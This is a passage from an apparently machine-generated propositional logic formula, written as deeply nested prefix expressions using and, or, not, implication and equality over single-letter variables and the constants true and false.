(and false b ) ) (= (=> true true ) (and false j ) ) ) (or (=> (not false ) (and h false ) ) (and (and true true ) (= true j ) ) ) ) ) ) (or (=> (or (and (= (= q false ) (=> true true ) ) (=> (= v false ) (=> true true ) ) ) (= (or true (or n (= o false ) ) ) (=> (=> true true ) (=> true j ) ) ) ) (or (not (=> (and false true ) (= true s ) ) ) (not (=> (or false false ) (=> true e ) ) ) ) ) (or (= (not (or k (or j (and l true ) ) ) ) (or (= (not i ) (and true false ) ) (=> (not v ) (and true false ) ) ) ) (not (not (= (= r false ) (not true ) ) ) ) ) ) ) (= (=> (=> (= (=> (= (not true ) (=> false true ) ) (not (not false ) ) ) (=> (= (not k ) (= false n ) ) (=> (=> i j ) (and false true ) ) ) ) (or (not (= (or z false ) (= x true ) ) ) (and (not (not false ) ) (= (or x o ) (=> false true ) ) ) ) ) (= (not (=> (or (= false false ) (not false ) ) (not (or true b ) ) ) ) (= (or (=> false true ) (or (=> t false ) (and (and i v ) (= true o ) ) ) ) (and (or (and true true ) (=> true true ) ) (= (not true ) (or false true ) ) ) ) ) ) (or (not (and (or (not l ) (=> false false ) ) (= (=> false f ) (and true c ) ) ) ) (or (=> (=> (=> (not true ) (= o t ) ) (and (=> c false ) (=> true true ) ) ) (=> (= (or true false ) (and true true ) ) (= (or true true ) (or false e ) ) ) ) (or (and (and (and (and (or (=> (= true j ) (=> true true ) ) (= (= i y ) (not v ) ) ) true ) false ) (=> false a ) ) (= (= l true ) (not t ) ) ) (or (= (or (not x ) (and true u ) ) (not (= false false ) ) ) (= (=> (= true false ) (=> q true ) ) (or (= false true ) (not true ) ) ) ) ) ) ) ) ) (=> (=> (not (= (= (= (=> (= false u ) (= z k ) ) (not (and true p ) ) ) (not (or (= true y ) (or false false ) ) ) ) (not (= (and (not true ) (or false true ) ) (= (and true false ) (and false false ) ) ) ) ) ) (and (or (= (not (=> r i ) ) (= (= a false ) (not false ) ) ) (or (not (or (=> f r ) (=> false false ) ) ) (= (=> (not (=> q true ) ) (= (and true false ) (or z false ) ) ) (not (=> (=> true false ) (and h true ) ) ) ) ) ) (or (and (= (=> true c ) (= false true ) ) (not (or true true ) ) ) (or (not (=> (=> n true ) (=> true i ) ) ) (= (=> (and (and v v ) (=> false false ) ) (or h (or n (=> true true ) ) ) ) (and (=> (= true true ) (=> true false ) ) (not (and false v ) ) ) ) ) ) ) ) (or (= (= (= (= (=> (or true true ) (=> false false ) ) (and (or true true ) (=> false false ) ) ) (= (=> (or true k ) (=> true f ) ) (not (and true j ) ) ) ) (=> (= (and (or false i ) (=> f true ) ) (and (not v ) (not true ) ) ) (= (=> (=> false false ) (and k true ) ) (and (and (=> t false ) true ) u ) ) ) ) (and (not (and (and (or (=> true e ) (or false l ) ) (not true ) ) (not r ) ) ) (=> (and (and (=> (= true false ) (not true ) ) (= true l ) ) (= false s ) ) (=> (and (not t ) (= true false ) ) (= (and true v ) (= true false ) ) ) ) ) ) (not (or (=> (= (not (=> false k ) ) (or (= true false ) (or true true ) ) ) (not (= (=> w false ) (or d true ) ) ) ) (=> (or (and (or false false ) (=> v true ) ) (=> (= false v ) (not false ) ) ) (= (=> (or w false ) (= false false ) ) (= (and a z ) (and false z ) ) ) ) ) ) ) ) ) ) (not (= (and (or (not (= (=> (not (= (or w false ) (=> false true ) ) ) (not (not (=> false p ) ) ) ) (or (= (or (= false l ) (or x false ) ) (and (=> true false ) (or true g ) ) ) (= (and (and false u ) (or true false ) ) (=> (not true ) (and true k ) ) ) ) ) ) (=> (= (=> (=> (= (=> o c ) (not true ) ) (=> (=> false true ) (not true ) ) ) (= (= (or false false ) (=> false s ) ) (= (= true true ) (or o true ) ) ) ) (or (not (= (and false true ) (=> a true ) ) ) (= (and (and false false ) (or false true ) ) (or s (or true (and false true ) ) ) ) ) ) (not (=> (= (not (or j false ) ) (= (not h ) (and v c ) ) ) (and (=> (not false ) (and d false ) ) (or true (or true (and true x ) ) ) ) ) ) ) ) (or (not (=> (=> (or (= (not g ) (and true false ) ) (and (or m true ) (not true ) ) ) (=> (not (not false ) ) (not (or true true ) ) ) ) (= (or (not w ) (or (= x false ) (and (and (not true ) q ) true ) ) ) (=> (and (or r false ) (= p true ) ) (and (and true o ) (=> false true ) ) ) ) ) ) (or (= (or (and (or c (or false (= false e ) ) ) (=> (and true q ) (not false ) ) ) (=> (or (= v false ) (not f ) ) (or (not t ) (and true false ) ) ) ) (=> (and (and (= (or s true ) (not h ) ) (not true ) ) (=> w true ) ) (= (or (= true q ) (= true h ) ) (=> (and true false ) (= true o ) ) ) ) ) (=> (= (not (=> (=> false y ) (=> r false ) ) ) (=> (= (not true ) (not z ) ) (= (and p false ) (and f true ) ) ) ) (or (and (=> (= b true ) (or false d ) ) (= (=> true true ) (=> false true ) ) ) (and (not (not false ) ) (or (= false true ) (=> true false ) ) ) ) ) ) ) ) (= (= (or (=> (and (and (= (and true false ) (not true ) ) (or (= true false ) (not false ) ) ) (= (or true (or y (not false ) ) ) (or (= true h ) (or true s ) ) ) ) (or (and (and u true ) (= false m ) ) (or (and (and (and false d ) u ) false ) (=> (or (= false false ) (or true n ) ) (=> (=> true true ) (or true false ) ) ) ) ) ) (= (and (=> (and (= true false ) (not i ) ) (or i (or r (=> false false ) ) ) ) (= (and (= c g ) (=> false false ) ) (and (=> true t ) (not false ) ) ) ) (not (= (and (and true true ) (= o v ) ) (not (and false f ) ) ) ) ) ) (not (or (=> (and (and (and (and (not r ) true ) true ) (not true ) ) (or true true ) ) (not (or s (or o (or true k ) ) ) ) ) (and (=> (=> (not false ) (and true t ) ) (or (and false true ) (not false ) ) ) (=> (=> (not true ) (= false true ) ) (not (=> false false ) ) ) ) ) ) ) (= (= (=> (= (not (and (= false true ) (=> true c ) ) ) (and (and (not (= true false ) ) (=> m true ) ) (= false false ) ) ) (= (not (not (or b true ) ) ) (or (and (or z true ) (not false ) ) (or (=> v w ) (and true false ) ) ) ) ) (or (and (= (or (and false true ) (or false m ) ) (not (=> s true ) ) ) (= (or (and true false ) (=> false false ) ) (not (not true ) ) ) ) (=> (= (not (and e false ) ) (= (and true true ) (=> true true ) ) ) (=> (=> (or true false ) (=> true false ) ) (and (= true false ) (= false true ) ) ) ) ) ) (=> (or (=> (and (not (= false false ) ) (= (=> o false ) (not i ) ) ) (or (=> (= h false ) (=> c false ) ) (or (=> true false ) (= false true ) ) ) ) (=> (= (= (not true ) (=> l q ) ) (or (and m false ) (= false false ) ) ) (not (= (=> false true ) (=> e x ) ) ) ) ) (or (= (= (=> (or k true ) (= false true ) ) (= (=> o false ) (=> w y ) ) ) (or (and (and true y ) (=> u true ) ) (and (=> f l ) (or j j ) ) ) ) (or (= (not (and true true ) ) (=> (=> g false ) (not x ) ) ) (=> (and (= true false ) (not true ) ) (= (or true false ) (=> c false ) ) ) ) ) ) ) ) ) ) ) ) (=> (=> (and (= (not (= (=> (=> (and (and (not (or false n ) ) (= (or false false ) (not b ) ) ) (not (=> (=> true s ) (=> true false ) ) ) ) (or (not (or b false ) ) (or (and (not false ) (not false ) ) (=> (and (= true true ) (= false true ) ) (not (= true false ) ) ) ) ) ) (=> (not (= (not (=> r false ) ) (or (not true ) (not b ) ) ) ) (= (not (or (=> c c ) (or true false ) ) ) (=> (= (= false m ) (or false l ) ) (=> (and g true ) (and c e ) ) ) ) ) ) (and (not (or (and (= (not q ) (=> false true ) ) (=> (not false ) (or true true ) ) ) (not (= (not true ) (= l false ) ) ) ) ) (= (and (=> (= (and g true ) (=> h q ) ) (=> (= true false ) (= m false ) ) ) (=> (not (or false v ) ) (and (= true true ) (= false true ) ) ) ) (not (or (= (not q ) (= true true ) ) (not (not false ) ) ) ) ) ) ) ) (and (not (or (not (= (and (or (=> false false ) (= false g ) ) (=> (or false true ) (not v ) ) ) (=> (= (= true n ) (and true true ) ) (not (or d z ) ) ) ) ) (=> (not (and (or (= z true ) (=> true false ) ) (or (not true ) (=> false false ) ) ) ) (or (not (not (and d true ) ) ) (=> (or (and true l ) (= true true ) ) (and (not f ) (or false o ) ) ) ) ) ) ) (=> (or (not (= (and (= (or false true ) (= false false ) ) (= (and r false ) (=> true false ) ) ) (and (= (or k true ) (= true false ) ) (= (= s false ) (not false ) ) ) ) ) (not (=> (=> (=> (= false false ) (or false false ) ) (or (=> x false ) (and false a ) ) ) (and (or (not true ) (=> p k ) ) (=> (= true false ) (= l b ) ) ) ) ) ) (= (not (=> (and (= (or false false ) (= z true ) ) (not (= y true ) ) ) (= (not (and true r ) ) (and (and (not j ) true ) false ) ) ) ) (or (and (and (or (= (=> false true ) (and true false ) ) (not (or true false ) ) ) (=> (=> true m ) (not true ) ) ) (= (or a z ) (=> true k ) ) ) (=> (and (and (or (and true false ) (or true false ) ) (=> false false ) ) (= false false ) ) (=> (not (not m ) ) (and (= true n ) (not true ) ) ) ) ) ) ) ) ) (= (= (not (=> (not (not (= (= (or false false ) (=> true k ) ) (or (and k j ) (or m m ) ) ) ) ) (=> (not (= (or (not true ) (= false false ) ) (or (= q y ) (not b ) ) ) ) (not (=> (not (or x n ) ) (not (not b ) ) ) ) ) ) ) (= (not (and (and (not (=> (and (or false true ) (or true f ) ) (=> (=> false false ) (=> false true ) ) ) ) (= (not (or p o ) ) (or false (or false (not true ) ) ) ) ) (or r (or n (or (not false ) (=> (and true true ) (not false ) ) ) ) ) ) ) (=> (and (not (and (and (not (not true ) ) (=> true false ) ) (not true ) ) ) (or (=> (= (=> y false ) (or true false ) ) (= (=> x true ) (or false true ) ) ) (or (=> (not false ) (or true false ) ) (and (or true false ) (or b true ) ) ) ) ) (= (not (not (not (not false ) ) ) ) (and (=> (=> (= true e ) (not true ) ) (= (=> true false ) (= false false ) ) ) (not (= (=> true q ) (= d false ) ) ) ) ) ) ) ) (=> (not (not (not (and (= (and (and false true ) (= false r ) ) (= (=> b true ) (and false true ) ) ) (= (=> (not false ) (= true false ) ) (= (or b true ) (and true false ) ) ) ) ) ) ) (and (and (= (and (and (=> (and (not false ) (or true false ) ) (or true (or u (or false false ) ) ) ) (=> (= true j ) (not false ) ) ) (=> (=> x o ) (and false true ) ) ) (or (= (or b (or false (and false g ) ) ) (or (= m false ) (and false j ) ) ) (=> (=> (and false true ) (not false ) ) (and (not false ) (or s true ) ) ) ) ) (not (= (or (and (=> true y ) (not true ) ) (=> (or false true ) (= a u ) ) ) (or (not false ) (or (and t v ) (= (= true false ) (and true false ) ) ) ) ) ) ) (or (not (= (=> (not (and a false ) ) (and (and true true ) (or v false ) ) ) (= (= (or s l ) (= true true ) ) (not (= y x ) ) ) ) ) (or (and (not (=> (= false false ) (or q s ) ) ) (or (= (not false ) (not false ) ) (=> (= q l ) (and false o ) ) ) ) (or (and (=> false false ) (=> false z ) ) (or (and (and false true ) (=> true v ) ) (=> (not (or true true ) ) (and (=> true true ) (=> false true ) ) ) ) ) ) ) ) ) ) ) (and (and (or (=> (or (= (or (= (and (not true ) (or e true ) ) (not (and true p ) ) ) (not (=> (or false false ) (not true ) ) ) ) (or (and (=> (or x true ) (or true w ) ) (or (=> true true ) (and l true ) ) ) (or (=> (or true true ) (or m x ) ) (=> (or true true ) (and false true ) ) ) ) ) (or (not (= (and (and (and false false ) (= true true ) ) (not (and q false ) ) ) (or (not (= i false ) ) (=> (and true u ) (= s false ) ) ) ) ) (not (=> (=> (and (not (not z ) ) (not (not true ) ) ) (and (and (not (= r true ) ) (not false ) ) (or n i ) ) ) (= (and (= (= false false ) (= x y ) ) (=> (and true false ) (not false ) ) ) (and (and (or (=> false a ) (=> e true ) ) (or false true ) ) (=> a q ) ) ) ) ) ) ) (or (=> (= (=> (and (=> w d ) (or false false ) ) (=> (=> false false ) (=> e true ) ) ) (or (= (and e true ) (and true i ) ) (=> (not false ) (=> true false ) ) ) ) (= (not (= (= z x ) (or false true ) ) ) (= (=> (and p g ) (=> true k ) ) (=> (=> false true ) (=> true true ) ) ) ) ) (or (=> (not (and (or false true ) (or false y ) ) ) (= (=> (or false true ) (and false y ) ) (not (=> true n ) ) ) ) (or (and (or (= false false ) (= false v ) ) (or (not true ) (=> false f ) ) ) (or (not (not (or y v ) ) ) (= (= (not (and (= (or false true ) (=> false false ) ) (=> (or true false ) (=> false false ) ) ) ) (and (= (=> (not f ) (=> false false ) ) (or true (or l (= false h ) ) ) ) (or (not false ) (or (not false ) (= (= true false ) (not y ) ) ) ) ) ) (= (not (= (and (and true true ) (= true f ) ) (=> (and false false ) (not l ) ) ) ) (and (or (and (or f u ) (not true ) ) (not (or i false ) ) ) (=> (= (=> false n ) (=> true n ) ) (not (not q ) ) ) ) ) ) ) ) ) ) ) (not (and (=> (= (=> (or (= (=> true v ) (= true w ) ) (or o (or false (or true true ) ) ) ) (not (and (= false u ) (=> false false ) ) ) ) (or (not (and e false ) ) (or (and (=> g false ) (or true true ) ) (not (or (not u ) (= true true ) ) ) ) ) ) (=> (=> (not (not (= true a ) ) ) (=> (not (= false l ) ) (or (and false h ) (=> true false ) ) ) ) (not (=> (or (=> i u ) (=> w g ) ) (=> (not true ) (= y b ) ) ) ) ) ) (not (=> (not (not (and (not p ) (not x ) ) ) ) (and (not (= (not true ) (=> true k ) ) ) (or (not (= true false ) ) (and (and m true ) (= false false ) ) ) ) ) ) ) ) ) (= (= (not (=> (or (and (= (or false j ) (not true ) ) (=> (=> false false ) (or false false ) ) ) (or (and (=> false true ) (or s false ) ) (and (or true false ) (or false j ) ) ) ) (or (=> (or (not true ) (and o n ) ) (= (or false true ) (or p g ) ) ) (or (not true ) (or (not x ) (not (= false t ) ) ) ) ) ) ) (= (and (= (and (or (=> false false ) (not true ) ) (not (= false false ) ) ) (and (= (not true ) (and n false ) ) (= (or true true ) (= w true ) ) ) ) (=> (not (and (=> true true ) (= p true ) ) ) (or (= (or false false ) (not d ) ) (or (= false false ) (or true true ) ) ) ) ) (=> (or (= (and false false ) (= y false ) ) (or (= (and false false ) (not g ) ) (and (= (= false n ) (= i x ) ) (not (or true true ) ) ) ) ) (=> (or (= (or true false ) (or false true ) ) (not (not true ) ) ) (=> (=> (= j false ) (=> false true ) ) (or (not false ) (=> true false ) ) ) ) ) ) ) (not (not (and (and (or (=> (and (or false true ) (or w true ) ) (and (=> c true ) (=> false m ) ) ) (= (and (and (=> false false ) true ) false ) (and (=> m false ) (not true ) ) ) ) (not (or (and f t ) (or true false ) ) ) ) (not (and (= false false ) (= false true ) ) ) ) ) ) ) ) (= (= (and (= (or (and (or (= t o ) (=> c false ) ) (or (not i ) (not false ) ) ) (not (=> (or true false ) (or false false ) ) ) ) (and (not (= (= t false ) (=> g true ) ) ) (=> (not (and false t ) ) (=> (and n false ) (=> y z ) ) ) ) ) (or (= (= (not (or j e ) ) (or (and true true ) (not true ) ) ) (or (and (= true false ) (not r ) ) (=> (and false false ) (not true ) ) ) ) (= (not (=> (or true true ) (= false true ) ) ) (or (not (not true ) ) (and (not false ) (not o ) ) ) ) ) ) (or (and (=> (= true f ) (=> l false ) ) (= (or p false ) (= true true ) ) ) (or (not (=> (not f ) (=> true false ) ) ) (or (=> (and (or (=> y true ) (= true false ) ) (not (and j u ) ) ) (= (=> (and true false ) (not e ) ) (and (not true ) (=> false false ) ) ) ) (= (or (not (=> (= e true ) (=> i true ) ) ) (=> (=> (and true true ) (=> true b ) ) (and (and (or true true ) true ) true ) ) ) (not (= (and (not false ) (or o false ) ) (or (= f v ) (and o false ) ) ) ) ) ) ) ) ) (= (= (and (not (=> (= (= i false ) (= true false ) ) (and (or true f ) (not false ) ) ) ) (or (= (= (= false j ) (not false ) ) (and (not true ) (or true false ) ) ) (or (=> false true ) (or (= true r ) (or (= false true ) (or false false ) ) ) ) ) ) (= (= (= (not (= false false ) ) (and (and (and true true ) x ) true ) ) (= (not (and x false ) ) (= (not true ) (= false y ) ) ) ) (= (= (not (= e false ) ) (= (and e z ) (not false ) ) ) (=> (or (not true ) (and false o ) ) (or (and n k ) (= false k ) ) ) ) ) ) (=> (not (not (or (and (=> false k ) (not false ) ) (and (and true false ) (= false false ) ) ) ) ) (= (=> (=> (= (or false false ) (not false ) ) (and (and false y ) (=> true u ) ) ) (or (= (=> v p ) (or true true ) ) (=> (not l ) (or true true ) ) ) ) (not (or (=> (not true ) (not true ) ) (=> (=> true false ) (or t true ) ) ) ) ) ) ) ) ) ) (= (and (or (=> (not (= (= (=> (or (= (= true false ) (=> true true ) ) (not (or q false ) ) ) (and (=> (and false j ) (=> false e ) ) (=> (= true false ) (=> k true ) ) ) ) (= (=> (= (or l a ) (or false false ) ) (not (or false true ) ) ) (= (or (=> false c ) (or false false ) ) (not (=> o r ) ) ) ) ) (= (or (= (or (=> true r ) (or false true ) ) (= (= e false ) (not p ) ) ) (not (= (not true ) (and true l ) ) ) ) (= (or (= (or true true ) (= u false ) ) (or (not false ) (or false false ) ) ) (= (and (and (=> true true ) false ) k ) (not (=> false q ) ) ) ) ) ) ) (or (and (and (and (and (and (or (not (and (and (not true ) true ) e ) ) (and (and (=> z false ) (not true ) ) (= (= true false ) (and true false ) ) ) ) (= (not (or (= k true ) (= r w ) ) ) (or (=> (and false h ) (=> false a ) ) (=> (and false false ) (not j ) ) ) ) ) (or v (or d (= true true ) ) ) ) (not (= q true ) ) ) (not (or true (or false (= true true ) ) ) ) ) (=> (=> (and (= q true ) (= p w ) ) (not (not false ) ) ) (and (not (or q false ) ) (= (=> false true ) (=> u true ) ) ) ) ) (and (or (and (and (and (and false false ) (or true x ) ) (=> (and false z ) (not q ) ) ) (not (and (or true x ) (or j true ) ) ) ) (and (=> (=> (= true true ) (=> true true ) ) (=> (=> false true ) (or false u ) ) ) (=> (not (or true false ) ) (= (=> true false ) (= e h ) ) ) ) ) (=> (and (and (and (or (=> true false ) (and true true ) ) (= (and x j ) (= true false ) ) ) (= (=> h false ) (or true y ) ) ) (not (not h ) ) ) (not (= (and (or false r ) (=> true false ) ) (not (not false ) ) ) ) ) ) ) ) (not (not (=> (not (=> (=> (= (or false true ) (= true true ) ) (not (=> c false ) ) ) (= (not (and false true ) ) (not (= s false ) ) ) ) ) (not (or (and (=> (not true ) (or false c ) ) (=> (=> true j ) (not true ) ) ) (= (or (not true ) (and s false ) ) (and (=> a false ) (not true ) ) ) ) ) ) ) ) ) (= (or (= (or (and (or true (or x (or true (or e (or (=> u false ) (and false true ) ) ) ) ) ) (= (and (= f j ) (or d a ) ) (or (not t ) (or t a ) ) ) ) (=> (or (and false false ) (or (and false h ) (=> (= false true ) (or true n ) ) ) ) (=> (and (and false r ) (= false x ) ) (not (not a ) ) ) ) ) (=> (or (=> (not (= true false ) ) (and (and (=> u false ) false ) true ) ) (not (not (or q false ) ) ) ) (not (or (not (or n q ) ) (= (or true false ) (or false false ) ) ) ) ) ) (or (not (or (and (and (= (= m y ) (and p false ) ) (=> s t ) ) (= h false ) ) (or (and (= (= true false ) (=> d v ) ) (=> (=> false b ) (= v true ) ) ) (or (not (or y (or false (or i x ) ) ) ) (and (not (or true f ) ) (= (or f true ) (not c ) ) ) ) ) ) ) (= (and (=> (not (not (or (and k true ) (and v x ) ) ) ) (= (or (=> (and false true ) (and true true ) ) (or (and true false ) (=> false true ) ) ) (= (and (= true false ) (not false ) ) (or (= true true ) (= true false ) ) ) ) ) (or (not (or (=> (and false true ) (= true true ) ) (and (= false false ) (=> a p ) ) ) ) (not (=> (=> (or true false ) (= true false ) ) (= (or false d ) (=> c true ) ) ) ) ) ) (or (and (and (and (or (not false ) (not true ) ) (= (not v ) (and c false ) ) ) (=> (= (=> false false ) (= false false ) ) (and (and true b ) (=> a e ) ) ) ) (or (=> (and (and true false ) (= false true ) ) (=> (and e n ) (or false false ) ) ) (=> (=> (= l h ) (or true true ) ) (=> (not false ) (or false k ) ) ) ) ) (= (not (= (= (= false g ) (=> g false ) ) (=> (and g true ) (=> q x ) ) ) ) (and (= (or (not false ) (=> j false ) ) (not (and true o ) ) ) (or (and (= p true ) (not true ) ) (and (or false false ) (or m e ) ) ) ) ) ) ) ) ) (or (and (and (= (=> (= (= (and false false ) (and false true ) ) (= (= false e ) (not true ) ) ) (and (= (or false p ) (and true true ) ) (= (not false ) (or true true ) ) ) ) (or (not (and p false ) ) (or (and (or false false ) (not false ) ) (=> (= (and true q ) (=> y n ) ) (or (and true true ) (= false true ) ) ) ) ) ) (not (and (=> (not (= true true ) ) (and (not h ) (not c ) ) ) (not (= (not z ) (= b false ) ) ) ) ) ) (or (=> (not (and true false ) ) (and (and s k ) (not true ) ) ) (or (and (not true ) (not true ) ) (or (and (and e false ) (or false true ) ) (or (=> (or (and (=> false c ) (= true false ) ) (= (or true b ) (= g false ) ) ) (not (and (=> true true ) (not true ) ) ) ) (=> (not (= (or (and false false ) (= true true ) ) (and (and w false ) (or true e ) ) ) ) (and (and (or (=> true true ) (=> true false ) ) (=> (= false false ) (and false true ) ) ) (not (= (and true m ) (= true j ) ) ) ) ) ) ) ) ) ) (or (and (= (not (=> (and (or s false ) (= false false ) ) (or true (or e (or false w ) ) ) ) ) (not (not (not (and true false ) ) ) ) ) (= (= (and (and (not (or r h ) ) (= false false ) ) (or false false ) ) (= (=> (and true f ) (=> true true ) ) (and (=> n true ) (not true ) ) ) ) (=> (=> (=> (not true ) (not false ) ) (=> (and false false ) (or a true ) ) ) (and (not (or false i ) ) (or (= false true ) (=> true o ) ) ) ) ) ) (or (= (= (and (or (not v ) (or false x ) ) (=> (=> true true ) (not l ) ) ) (or (=> i false ) (or (not x ) (not (=> u false ) ) ) ) ) (not (not (and (and false false ) (= d false ) ) ) ) ) (or (not (or (not (or true false ) ) (not (or false p ) ) ) ) (not (=> (= (or true false ) (=> w false ) ) (= (= true false ) (= true true ) ) ) ) ) ) ) ) ) ) (not (not (or (not (or (not (or (=> (and d true ) (=> f true ) ) (= (not true ) (and t false ) ) ) ) (= (= (= (= k false ) (or j false ) ) (not (=> true g ) ) ) (=> (= (or false false ) (= false false ) ) (or (not false ) (=> true b ) ) ) ) ) ) (or (and (not (or (= (and false true ) (= i true ) ) (or (= true true ) (not false ) ) ) ) (= (not (=> (=> true t ) (not true ) ) ) (or (and (not true ) (=> c true ) ) (and (=> false false ) (or false true ) ) ) ) ) (or (= (or (= (not (and true false ) ) (not (= false r ) ) ) (not (not (not true ) ) ) ) (not (= (or (and g f ) (and true false ) ) (not (=> false x ) ) ) ) ) (not (and (or (=> (or (and true false ) (or (=> j true ) (= (or false false ) (=> p true ) ) ) ) (= (or (=> true true ) (=> n false ) ) (= (not false ) (and true false ) ) ) ) (or (and (=> o y ) (or true true ) ) (or (=> (or y j ) (and false m ) ) (and (and (and (=> (= true x ) (=> q u ) ) c ) true ) (= j true ) ) ) ) ) (= (= (= (=> (= d v ) (and false true ) ) (not (and true u ) ) ) (or (= (= k false ) (not false ) ) (and (and (or n b ) false ) u ) ) ) (=> (or (= y o ) (or (= false e ) (=> (or true true ) (=> n true ) ) ) ) (= (and (=> false true ) (not true ) ) (=> (=> a false ) (= true true ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) (and (= (=> (= (=> (= (and (= (not (or (= (or (and r o ) (or (=> false false ) (=> (=> true true ) (and z s ) ) ) ) (or (=> n false ) (or (not false ) (= (not f ) (not x ) ) ) ) ) (= (or (= (= false false ) (not r ) ) (= (and false e ) (not e ) ) ) (and (=> (or true true ) (and o p ) ) (not (or true g ) ) ) ) ) ) (or (= (= (= (or false (or false (and z true ) ) ) (= (not b ) (=> false t ) ) ) (=> (not (and true i ) ) (or (= h t ) (=> b b ) ) ) ) (=> (not (=> (= true false ) (=> false false ) ) ) (=> (=> (= false w ) (= v true ) ) (and (not true ) (or b false ) ) ) ) ) (not (not (not (or (and u h ) (and true false ) ) ) ) ) ) ) (or (= (=> (and (not (or true (or false (not false ) ) ) ) (= (not (=> false k ) ) (not (or f true ) ) ) ) (=> (not (and (not u ) (=> true t ) ) ) (and (not (= u false ) ) (= (= false true ) (or s f ) ) ) ) ) (=> (not (=> (=> (or true e ) (not n ) ) (not (= k l ) ) ) ) (=> (and (and (and (and (and (and j true ) false ) true ) (= true false ) ) u ) i ) (=> (and (and (not true ) m ) false ) (and (and q true ) (not j ) ) ) ) ) ) (=> (or (not (or (and true false ) (= true i ) ) ) (or (and (not false ) (or u true ) ) (or (= (or true l ) (= false false ) ) (=> (and (and (and false d ) (=> o true ) ) (=> (or false true ) (not true ) ) ) (not (= (not true ) (= false true ) ) ) ) ) ) ) (or (=> (= (or (=> false y ) (= false o ) ) (not (= true false ) ) ) (or (not (=> false t ) ) (=> (not false ) (=> n true ) ) ) ) (and (or (=> (= c false ) (not true ) ) (and (and (=> z true ) true ) k ) ) (=> (and (= i false ) (or e s ) ) (or (= true true ) (=> s true ) ) ) ) ) ) ) ) (and (=> (=> (or (=> (or (= (or false false ) (not m ) ) (not (not true ) ) ) (not (or (and n l ) (=> true g ) ) ) ) (not (=> (or (and w o ) (= false k ) ) (and (or false true ) (not true ) ) ) ) ) (=> (not (not (or (=> true false ) (= false false ) ) ) ) (and (=> (= (not false ) (and true true ) ) (= (not true ) (not true ) ) ) (=> (not (or h c ) ) (= (and true z ) (and true a ) ) ) ) ) ) (= (= (and (=> (=> (= w l ) (= true false ) ) (not (and true true ) ) ) (or (=> (or true false ) (= w m ) ) (or (and w true ) (and i n ) ) ) ) (= (not (= (not true ) (and false v ) ) ) (or (not true ) (or true (or false (or (not false ) (and false true ) ) ) ) ) ) ) (= (or (not (=> (=> false true ) (=> t false ) ) ) (or (and (and (= x false ) i ) true ) (= (and false true ) (= false true ) ) ) ) (=> (or (and (and w true ) (or j w ) ) (= (and m true ) (= false true ) ) ) (and (and (or a (or h (=> p p ) ) ) (or false false ) ) (=> false true ) ) ) ) ) ) (= (= (or (and (= (and (= false false ) (= s true ) ) (= (and true true ) (or z i ) ) ) (or (and (and (not true ) t ) true ) (and (not p ) (= false l ) ) ) ) (or (and false f ) (or true (or true (or (not m ) (or (= false true ) (not (or (and false true ) (= false true ) ) ) ) ) ) ) ) ) (and (not (and (and (and false false ) (= true s ) ) (=> (= true r ) (not false ) ) ) ) (or (and (and (or true j ) (=> r false ) ) (not (and true a ) ) ) (or (= (not false ) (not false ) ) (=> (=> true false ) (not y ) ) ) ) ) ) (not (or (=> (and (not (=> false false ) ) (or (and o false ) (and true j ) ) ) (not (or (not true ) (and false h ) ) ) ) (or (not (=> false true ) ) (or (not (=> true true ) ) (not (= (or true e ) (not h ) ) ) ) ) ) ) ) ) ) (or (and (and (or (not (not (not (and (or true false ) (or true c ) ) ) ) ) (= (= (= (or j (or true (= u s ) ) ) (and (=> c i ) (=> true false ) ) ) (or (= (not false ) (=> true true ) ) (or (not true ) (and false true ) ) ) ) (=> (or (= (or false true ) (or true true ) ) (and (and (and false t ) true ) true ) ) (=> (= (and false true ) (and false false ) ) (and (not true ) (or true b ) ) ) ) ) ) (or (=> (or (and (and q false ) (= true f ) ) (and (and (or q l ) false ) true ) ) (not (=> (=> true f ) (and false false ) ) ) ) (or (not (=> (not (not false ) ) (or (and false v ) (or n true ) ) ) ) (and (or (not (=> (or true y ) (or false true ) ) ) (or (not (= false true ) ) (=> (and true true ) (or z e ) ) ) ) (not (or (= true h ) (or true (or true (and (or x m ) (=> false false ) ) ) ) ) ) ) ) ) ) (not (= (= (and (and (and (= (not (=> d true ) ) (not (= z true ) ) ) (= (=> true false ) (=> l true ) ) ) (not d ) ) (not r ) ) (= (=> (not (and h false ) ) (not (or e true ) ) ) (and (or (= j true ) (or m true ) ) (or (= c true ) (and false false ) ) ) ) ) (not (or (not (= (not true ) (= false true ) ) ) (= (and (= i false ) (not true ) ) (not (=> r true ) ) ) ) ) ) ) ) (and (and (=> (not (and (not (= (and (and (= true true ) s ) true ) (= (and false w ) (=> true u ) ) ) ) (or (not (=> (= true false ) (or false p ) ) ) (or (= (or true true ) (=> false true ) ) (not (not false ) ) ) ) ) ) (not (=> (or (=> (or (= d false ) (and false true ) ) (or (not o ) (=> z true ) ) ) (= (=> (or o true ) (or true true ) ) (=> (=> true r ) (not false ) ) ) ) (or (=> (or z (or r (= false false ) ) ) (or (= false false ) (and true false ) ) ) (and (=> (not n ) (or false false ) ) (or (and false false ) (and true false ) ) ) ) ) ) ) (=> (= (=> (= (= (= h true ) (= false n ) ) (not (not false ) ) ) (or (not (or true false ) ) (and (=> true y ) (or w false ) ) ) ) (not (or (and (=> false d ) (or false v ) ) (and (and (and false true ) false ) true ) ) ) ) (and (and (and (and (or (not false ) (= z true ) ) (= false c ) ) (= true true ) ) (not (= (and false m ) (= v p ) ) ) ) (=> (not (not (not false ) ) ) (or (and false false ) (or (not false ) (= (and true true ) (or false u ) ) ) ) ) ) ) ) (= (not (and (and (and (and (or (=> true u ) (and n true ) ) (not true ) ) (not true ) ) (or (and true true ) (and false true ) ) ) (= (not o ) (not false ) ) ) ) (or (= (= (=> (and false true ) (not r ) ) (not (not v ) ) ) (or (= (not true ) (not q ) ) (=> (and m i ) (not true ) ) ) ) (= (= (=> (= e false ) (=> false false ) ) (= (= n a ) (= false false ) ) ) (not (=> (and false b ) (or true false ) ) ) ) ) ) ) ) ) (not (= (=> (not (or (not (or (=> (= g true ) (or false false ) ) (=> (not true ) (or true j ) ) ) ) (or (not (and (=> (or false false ) (=> false n ) ) (= (=> false true ) (not false ) ) ) ) (not (=> (not (=> (or w f ) (and true true ) ) ) (= (not (=> false false ) ) (=> (or true true ) (not true ) ) ) ) ) ) ) ) (= (=> (and (or (and (and (and (or false j ) true ) false ) (=> (not true ) (or false y ) ) ) (and (and (or false k ) (= true false ) ) (=> (= false m ) (not a ) ) ) ) (not (= (=> (=> false false ) (=> true q ) ) (not (not true ) ) ) ) ) (not (and (and (and (and (= (=> (=> false true ) (or l true ) ) (=> (= d false ) (not true ) ) ) (or false z ) ) (= 